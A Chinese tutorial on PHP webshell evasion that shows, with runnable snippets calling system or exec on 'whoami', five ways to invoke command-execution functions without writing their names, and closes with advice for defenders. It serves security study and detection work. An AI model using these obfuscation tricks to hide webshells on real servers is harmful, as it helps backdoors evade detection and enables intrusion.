在网络安全攻防演练或代码审计中,理解攻击者如何构造和隐藏 Webshell 是进行有效防御的关键。尤其是在对抗静态查杀和动态监控时,绕过对敏感函数名的直接引用,是 Webshell 免杀技术中的重要一环。本文将深入探讨在 PHP 环境中,几种无需直接书写 system、exec 等危险字符串即可获取并调用恶意函数的方法。
利用 get_defined_functions 获取函数
get_defined_functions 是 PHP 的一个内置函数,它能返回所有已定义函数的数组,其中就包含内部函数和用户自定义函数。这恰好为我们“寻找”可用的危险函数提供了一个绝佳的目录。
通过遍历这个数组,我们可以轻易地定位到如 system、exec、passthru 等可执行系统命令的函数。下图展示了从该函数列表中筛选出的部分高危函数,其中 create_function 被高亮显示:

更进一步,我们可以获取到如 system 这样的命令执行函数。下图展示了数组中的一部分,请注意第517个元素(键为[517])就是 system 函数:

一旦知道了目标函数在数组中的索引位置,调用它就变得非常简单。下面的代码演示了如何直接通过索引调用 exec 函数(索引516)来执行 whoami 命令:
<?php
$a=(get_defined_functions());
$a["internal"][516]("whoami");
?>
代码执行效果如下图所示,成功获取了当前系统用户:

从 get_defined_constants 常量中提取
除了函数,PHP 的常量也可能暗藏玄机。get_defined_constants 函数会返回所有已定义常量的关联数组。攻击者可以从中寻找包含特定子串(如 “system”)的常量名,并通过字符串截取来“拼凑”出想要的函数名。
下图展示了部分常量列表,其中包含了大量以 INI_SYSTEM 等格式定义的常量:

观察发现,常量名 INI_SYSTEM 恰好包含 SYSTEM 这个关键词。我们可以通过字符串操作,将其转换为小写的 system 并作为函数调用。以下是实现这一思路的完整代码:
<?php
$a=get_defined_constants();
foreach ($a as $key => $value){
if (substr($key, 0, 7)=="INI_SYS"){
$x= strtolower(substr($key, 4, 6));
$x("whoami");
}
}
?>
这段代码遍历所有常量,寻找以 “INI_SYS” 开头的常量名,然后截取其第4个字符开始的6个字符(即 “SYSTEM”),转换为小写后动态调用。执行结果成功输出了当前用户名:

巧用自定义函数进行编码转换
这是一种更为隐蔽的手法,通过一个自定义的编码/解码函数,将一串看似无意义的数字还原成敏感的函数名。一个经典的例子如下:
<?php
function fun($a){
$s = ['a','t','s','y','m','e','/'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
单看这个函数,很难猜出它的意图。但是,当我们用一个特定数字 451232 去调用它时:
echo fun(451232);
执行后,它会输出字符串 system。这个过程巧妙地利用了数学运算和数组索引,将数字“翻译”成了目标函数名。下图为执行该代码的输出结果:

通过抛出异常间接获取字符串
PHP 的异常类在实例化时,会将传入的参数作为异常信息存储。结合上文的数字转换函数,我们可以通过抛出异常,再获取异常信息的方式来间接得到 system 字符串。这里以 ParseError 异常类为例。
我们先实例化一个 ParseError 异常,并将 fun(451232) 的结果(即 “system”)作为异常消息传入。然后,通过调用该异常对象的 getMessage() 方法,即可提取出这个字符串:
<?php
function fun($a){
$s = ['a','t','s','y','m','e','/'];
$tmp = "";
while ($a>10) {
$tmp .= $s[$a%10];
$a = $a/10;
}
return $tmp.$s[$a];
}
$a = new ParseError(fun(451232));
echo $a->getMessage();
执行后,成功输出了 “system”。这种方法将敏感字符串的生成过程隐藏在了标准的错误处理流程中,增加了检测的难度。

利用 DirectoryIterator 读取文件系统
DirectoryIterator 类用于遍历目录。如果攻击者能够控制服务器上的文件名或目录名,那么他就可以创建一个名为 “system” 的文件或文件夹,然后通过脚本遍历目录来获取这个字符串。
例如,当前目录下存在一个名为 system 的文件夹。我们可以使用以下代码遍历并获取其名称:
<?php
// 创建FilesystemIterator实例
$iterator = new FilesystemIterator(dirname(__FILE__));
foreach ($iterator as $item) {
// 输出文件和目录的属性
echo $item->getFilename() . "\n";
}
?>
代码运行后,会列出当前目录下的所有条目,其中就包含了 system 目录,从而间接获取到了这个关键字。


使用 pack 函数二进制打包构造
pack 函数用于将数据按指定格式打包成二进制字符串。这个函数功能强大,可以根据 ASCII 码值或十六进制数据构造出任意字符串,自然也能构造出 system。
pack 函数支持多种格式码,例如 C 表示无符号字符,H 表示十六进制字符串高位在前。了解这些格式对于安全/渗透/逆向领域中的二进制数据处理非常有帮助。
下图展示了 pack 函数支持的部分格式字符:

方法一:使用 ASCII 码值 (C 格式)
将 s, y, s, t, e, m 的 ASCII 码值(115, 121, 115, 116, 101, 109)打包。
方法二:使用十六进制字符串 (H 格式)
直接传入 system 的十六进制表示 73797374656d。
以下是两种方法的实现代码:
<?php
echo pack("C6", 115, 121, 115, 116, 101, 109);
echo pack("H*", "73797374656d");
?>
执行后,两行代码都会输出 system,这为在严格字符过滤环境下构造字符串提供了更多可能。

总结与思考
本文介绍了在 PHP 中绕过直接书写敏感函数名来获取恶意函数的五种方法:从内置函数列表和常量中提取、利用自定义算法转换、通过异常机制泄露、读取文件系统信息以及使用二进制打包函数构造。这些手法本质上都是利用了 PHP 语言的动态特性(如可变函数 $func())和丰富的内置功能来隐藏真实意图。
对于防御方而言,理解这些构造技巧至关重要。仅依赖简单的字符串黑名单检测是远远不够的,需要结合静态代码分析、动态行为监控和上下文语义理解,才能更有效地识别和阻断这类隐蔽的 Webshell。安全是一个持续对抗的过程,在 云栈社区 等技术论坛中与同行交流最新的攻防案例,能帮助我们不断提升安全防御水位。